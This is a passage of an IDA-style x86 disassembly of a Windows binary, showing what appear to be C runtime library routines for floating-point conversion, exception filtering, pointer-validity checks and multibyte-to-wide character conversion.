loc_41E359:				; CODE XREF: sub_41E2ED+56j
		or	ah, 1


loc_41E35C:				; CODE XREF: sub_41E2ED+4Ej
					; sub_41E2ED+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41E36C
		cmp	ecx, ebp
		jnz	short loc_41E371
		or	eax, 10000h
		jmp	short loc_41E371
; ---------------------------------------------------------------------------


loc_41E36C:				; CODE XREF: sub_41E2ED+72j
		or	eax, 20000h


loc_41E371:				; CODE XREF: sub_41E2ED+76j
					; sub_41E2ED+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41E37E
		or	eax, 40000h

locret_41E37E:				; CODE XREF: sub_41E2ED+8Aj
		retn
sub_41E2ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E37F	proc near		; CODE XREF: sub_41E2A2+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41E38F
		push	1
		pop	eax


loc_41E38F:				; CODE XREF: sub_41E37F+Bj
		test	bl, 8
		jz	short loc_41E396
		or	al, 4


loc_41E396:				; CODE XREF: sub_41E37F+13j
		test	bl, 4
		jz	short loc_41E39D
		or	al, 8


loc_41E39D:				; CODE XREF: sub_41E37F+1Aj
		test	bl, 2
		jz	short loc_41E3A4
		or	al, 10h


loc_41E3A4:				; CODE XREF: sub_41E37F+21j
		test	bl, 1
		jz	short loc_41E3AB
		or	al, 20h


loc_41E3AB:				; CODE XREF: sub_41E37F+28j
		test	ebx, 80000h
		jz	short loc_41E3B5
		or	al, 2


loc_41E3B5:				; CODE XREF: sub_41E37F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41E3E2
		cmp	ecx, 100h
		jz	short loc_41E3DF
		cmp	ecx, esi
		jz	short loc_41E3DA
		cmp	ecx, edx
		jnz	short loc_41E3E2
		or	ah, 0Ch
		jmp	short loc_41E3E2
; ---------------------------------------------------------------------------


loc_41E3DA:				; CODE XREF: sub_41E37F+50j
		or	ah, 8
		jmp	short loc_41E3E2
; ---------------------------------------------------------------------------


loc_41E3DF:				; CODE XREF: sub_41E37F+4Cj
		or	ah, 4


loc_41E3E2:				; CODE XREF: sub_41E37F+44j
					; sub_41E37F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41E3F8
		cmp	ecx, 10000h
		jnz	short loc_41E3FA
		or	eax, esi
		jmp	short loc_41E3FA
; ---------------------------------------------------------------------------


loc_41E3F8:				; CODE XREF: sub_41E37F+6Bj
		or	eax, edx


loc_41E3FA:				; CODE XREF: sub_41E37F+73j
					; sub_41E37F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41E407
		or	ah, 10h

locret_41E407:				; CODE XREF: sub_41E37F+83j
		retn
sub_41E37F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E408	proc near		; CODE XREF: sub_41E4A7+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41E44D
		inc	esi
		cmp	esi, 3
		jge	short loc_41E448
		lea	eax, [eax+esi*4]


loc_41E43A:				; CODE XREF: sub_41E408+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41E44D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41E43A


loc_41E448:				; CODE XREF: sub_41E408+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E44D:				; CODE XREF: sub_41E408+27j
					; sub_41E408+35j
		xor	eax, eax
		pop	esi
		retn
sub_41E408	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E451	proc near		; CODE XREF: sub_41E4A7+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41F456
		add	esp, 0Ch
		dec	esi
		js	short loc_41E4A3
		lea	edi, [ebx+esi*4]


loc_41E48A:				; CODE XREF: sub_41E451+50j
		test	eax, eax
		jz	short loc_41E4A3
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41F456
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41E48A


loc_41E4A3:				; CODE XREF: sub_41E451+34j
					; sub_41E451+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E451	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E4A7	proc near		; CODE XREF: sub_41E602+81p
					; sub_41E602+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41E50B
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41E408
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E508
		push	edi
		push	[ebp+arg_0]
		call	sub_41E451
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41E508:				; CODE XREF: sub_41E4A7+51j
		mov	eax, [ebp+arg_4]


loc_41E50B:				; CODE XREF: sub_41E4A7+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41E52B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41E52B:				; CODE XREF: sub_41E4A7+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E4A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E533	proc near		; CODE XREF: sub_41E602+75p
					; sub_41E602+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41E541:				; CODE XREF: sub_41E533+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41E541
		pop	esi
		retn
sub_41E533	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E54E	proc near		; CODE XREF: sub_41E602+5Fp
					; sub_41E602+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41E54E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E55A	proc near		; CODE XREF: sub_41E602+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41E560:				; CODE XREF: sub_41E55A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41E572
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41E560
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E572:				; CODE XREF: sub_41E55A+9j
		xor	eax, eax
		retn
sub_41E55A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E575	proc near		; CODE XREF: sub_41E602+C0p
					; sub_41E602+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41E5AB:				; CODE XREF: sub_41E575+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41E5AB
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41E5DD:				; CODE XREF: sub_41E575+86j
		cmp	ebx, edi
		jl	short loc_41E5F0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41E5F7
; ---------------------------------------------------------------------------


loc_41E5F0:				; CODE XREF: sub_41E575+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41E5F7:				; CODE XREF: sub_41E575+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41E5DD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E575	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E602	proc near		; CODE XREF: sub_41E76E+Dp
					; sub_41E784+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41E66F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41E55A
		test	eax, eax
		pop	ecx
		jnz	loc_41E72E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E54E
		pop	ecx


loc_41E667:				; CODE XREF: sub_41E602+E4j
		push	2


loc_41E669:				; CODE XREF: sub_41E602+110j
		pop	eax
		jmp	loc_41E730
; ---------------------------------------------------------------------------


loc_41E66F:				; CODE XREF: sub_41E602+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E533
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E4A7
		add	esp, 10h
		test	eax, eax
		jz	short loc_41E690
		inc	ebx


loc_41E690:				; CODE XREF: sub_41E602+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41E6A8
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E54E
		pop	ecx
		jmp	short loc_41E6E4
; ---------------------------------------------------------------------------


loc_41E6A8:				; CODE XREF: sub_41E602+98j
		cmp	ebx, eax
		jg	short loc_41E6EB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E533
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41E575
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E4A7
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E575
		add	esp, 20h


loc_41E6E4:				; CODE XREF: sub_41E602+A4j
		xor	esi, esi
		jmp	loc_41E667
; ---------------------------------------------------------------------------


loc_41E6EB:				; CODE XREF: sub_41E602+A8j
		cmp	ebx, [edi]
		jl	short loc_41E717
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E54E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E575
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41E669
; ---------------------------------------------------------------------------


loc_41E717:				; CODE XREF: sub_41E602+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41E575
		pop	ecx
		pop	ecx


loc_41E72E:				; CODE XREF: sub_41E602+55j
		xor	eax, eax


loc_41E730:				; CODE XREF: sub_41E602+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41E75F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41E769
; ---------------------------------------------------------------------------


loc_41E75F:				; CODE XREF: sub_41E602+14Ej
		cmp	edi, 20h
		jnz	short loc_41E769
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41E769:				; CODE XREF: sub_41E602+15Bj
					; sub_41E602+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E602	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E76E	proc near		; CODE XREF: sub_41E79A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_431D00
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41E602
		add	esp, 0Ch
		retn
sub_41E76E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E784	proc near		; CODE XREF: sub_41E7C7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_431D18
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41E602
		add	esp, 0Ch
		retn
sub_41E784	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E79A	proc near		; CODE XREF: sub_41AA4F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F5F7
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E76E
		add	esp, 24h
		leave
		retn
sub_41E79A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7C7	proc near		; CODE XREF: sub_41AA4F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F5F7
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E784
		add	esp, 24h
		leave
		retn
sub_41E7C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7F4	proc near		; CODE XREF: sub_41AA8D+65p
					; sub_41AB91+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41E831
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41E817:				; CODE XREF: sub_41E7F4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41E823
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41E826
; ---------------------------------------------------------------------------


loc_41E823:				; CODE XREF: sub_41E7F4+27j
		push	30h
		pop	edx


loc_41E826:				; CODE XREF: sub_41E7F4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41E817
		mov	edx, [ebp+arg_8]


loc_41E831:				; CODE XREF: sub_41E7F4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41E84A
		cmp	byte ptr [ecx],	35h
		jl	short loc_41E84A


loc_41E83D:				; CODE XREF: sub_41E7F4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41E848
		mov	byte ptr [eax],	30h
		jmp	short loc_41E83D
; ---------------------------------------------------------------------------


loc_41E848:				; CODE XREF: sub_41E7F4+4Dj
		inc	byte ptr [eax]


loc_41E84A:				; CODE XREF: sub_41E7F4+42j
					; sub_41E7F4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41E854
		inc	dword ptr [edx+4]
		jmp	short loc_41E866
; ---------------------------------------------------------------------------


loc_41E854:				; CODE XREF: sub_41E7F4+59j
		push	edi
		call	sub_415C80
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416470
		add	esp, 10h


loc_41E866:				; CODE XREF: sub_41E7F4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E7F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E86B	proc near		; CODE XREF: sub_41AA8D+3Fp
					; sub_41AB91+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E8CF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4C9258
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41FAC8
		mov	ds:dword_4C9280, eax
		add	esp, 18h
		movsx	eax, ds:byte_4C925A
		mov	ds:dword_4C9278, eax
		pop	edi
		movsx	eax, ds:word_4C9258
		mov	ds:dword_4C927C, eax
		mov	ds:dword_4C9284, offset	dword_4C925C
		mov	eax, offset dword_4C9278
		pop	esi
		leave
		retn
sub_41E86B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8CF	proc near		; CODE XREF: sub_41E86B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41E91D
		cmp	ebx, edi
		jz	short loc_41E916
		lea	edi, [ecx+3C00h]
		jmp	short loc_41E93E
; ---------------------------------------------------------------------------


loc_41E916:				; CODE XREF: sub_41E8CF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41E93E
; ---------------------------------------------------------------------------


loc_41E91D:				; CODE XREF: sub_41E8CF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41E935
		cmp	edx, ebx
		jnz	short loc_41E935
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41E980
; ---------------------------------------------------------------------------


loc_41E935:				; CODE XREF: sub_41E8CF+52j
					; sub_41E8CF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41E93E:				; CODE XREF: sub_41E8CF+45j
					; sub_41E8CF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41E956:				; CODE XREF: sub_41E8CF+A6j
		test	ecx, esi
		jnz	short loc_41E977
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41E956
; ---------------------------------------------------------------------------


loc_41E977:				; CODE XREF: sub_41E8CF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41E980:				; CODE XREF: sub_41E8CF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E8CF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_417DFA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E98E	proc near		; DATA XREF: _0:0041E9D4o _2:004316D8o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41E9B1
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41E9B1
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41E9B1
		jmp	sub_41B61C
; ---------------------------------------------------------------------------


loc_41E9B1:				; CODE XREF: sub_41E98E+Dj
					; sub_41E98E+13j ...
		mov	eax, ds:dword_4C9288
		test	eax, eax
		jz	short loc_41E9CE
		push	eax
		call	sub_41EA2A
		test	eax, eax
		pop	ecx
		jz	short loc_41E9CE
		push	esi
		call	ds:dword_4C9288
		jmp	short loc_41E9D0
; ---------------------------------------------------------------------------


loc_41E9CE:				; CODE XREF: sub_41E98E+2Aj
					; sub_41E98E+35j
		xor	eax, eax


loc_41E9D0:				; CODE XREF: sub_41E98E+3Ej
		pop	esi
		retn	4
sub_41E98E	endp

; ---------------------------------------------------------------------------
		push	offset sub_41E98E
		call	ds:off_42201C
		mov	ds:dword_4C9288, eax
		retn
; ---------------------------------------------------------------------------


loc_41E9E5:				; DATA XREF: _2:00424034o
		push	ds:dword_4C9288
		call	ds:off_42201C
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E9F2	proc near		; CODE XREF: sub_41AE65+6Bp
					; sub_41B376+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_422018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41EA0A
		xor	esi, esi


loc_41EA0A:				; CODE XREF: sub_41E9F2+14j
		mov	eax, esi
		pop	esi
		retn
sub_41E9F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA0E	proc near		; CODE XREF: sub_41B376+73p
					; sub_41B376+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_4221A0	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41EA26
		xor	esi, esi


loc_41EA26:				; CODE XREF: sub_41EA0E+14j
		mov	eax, esi
		pop	esi
		retn
sub_41EA0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA2A	proc near		; CODE XREF: sub_41B376+15Bp
					; sub_41E98E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	ds:dword_422014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41EA3E
		xor	esi, esi


loc_41EA3E:				; CODE XREF: sub_41EA2A+10j
		mov	eax, esi
		pop	esi
		retn
sub_41EA2A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B61C


loc_41EA42:				; CODE XREF: sub_41B61C:loc_41B66Dj
		push	0Ah
		call	sub_41D9A5
		push	16h
		call	sub_41FD5B
		pop	ecx
		pop	ecx
		push	3
		call	sub_417C16
; END OF FUNCTION CHUNK	FOR sub_41B61C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA59	proc near		; CODE XREF: sub_41B7F5+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41EA7C
		cmp	[ebp+arg_8], ebx
		jz	short loc_41EA7C
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41EA82
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41EA7C
		mov	[eax], bx


loc_41EA7C:				; CODE XREF: sub_41EA59+Cj
					; sub_41EA59+11j ...
		xor	eax, eax


loc_41EA7E:				; CODE XREF: sub_41EA59+42j
					; sub_41EA59+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EA82:				; CODE XREF: sub_41EA59+17j
		cmp	ds:dword_4C911C, ebx
		jnz	short loc_41EA9D
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41EA98
		movzx	ax, al
		mov	[ecx], ax


loc_41EA98:				; CODE XREF: sub_41EA59+36j
					; sub_41EA59+C0j
		push	1
		pop	eax
		jmp	short loc_41EA7E
; ---------------------------------------------------------------------------


loc_41EA9D:				; CODE XREF: sub_41EA59+2Fj
		mov	ecx, ds:off_42F360
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41EAFA
		mov	eax, ds:dword_42F56C
		cmp	eax, 1
		jle	short loc_41EAE1
		cmp	[ebp+arg_8], eax
		jl	short loc_41EAEB
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_4C912C
		call	ds:dword_422134	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_42F56C
		jnz	short loc_41EA7E


loc_41EAE1:				; CODE XREF: sub_41EA59+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41EAEB
		cmp	[esi+1], bl
		jnz	short loc_41EA7E


loc_41EAEB:				; CODE XREF: sub_41EA59+61j
					; sub_41EA59+8Bj ...
		mov	ds:dword_4C9084, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41EA7E
; ---------------------------------------------------------------------------


loc_41EAFA:				; CODE XREF: sub_41EA59+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_4C912C
		call	ds:dword_422134	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41EA98
		jmp	short loc_41EAEB
sub_41EA59	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB21	proc near		; CODE XREF: sub_41B7F5+76p
					; sub_41B7F5+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_42F56C, 1
		jle	short loc_41EB38
		push	8
		push	[esp+4+arg_0]
		call	sub_418762
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41EB38:				; CODE XREF: sub_41EB21+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_42F360
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41EB21	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41EB50	proc near		; CODE XREF: sub_41B7F5+797p
					; sub_41B7F5+7E7p
		cmp	cl, 40h
		jnb	short loc_41EB6A
		cmp	cl, 20h
		jnb	short loc_41EB60
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


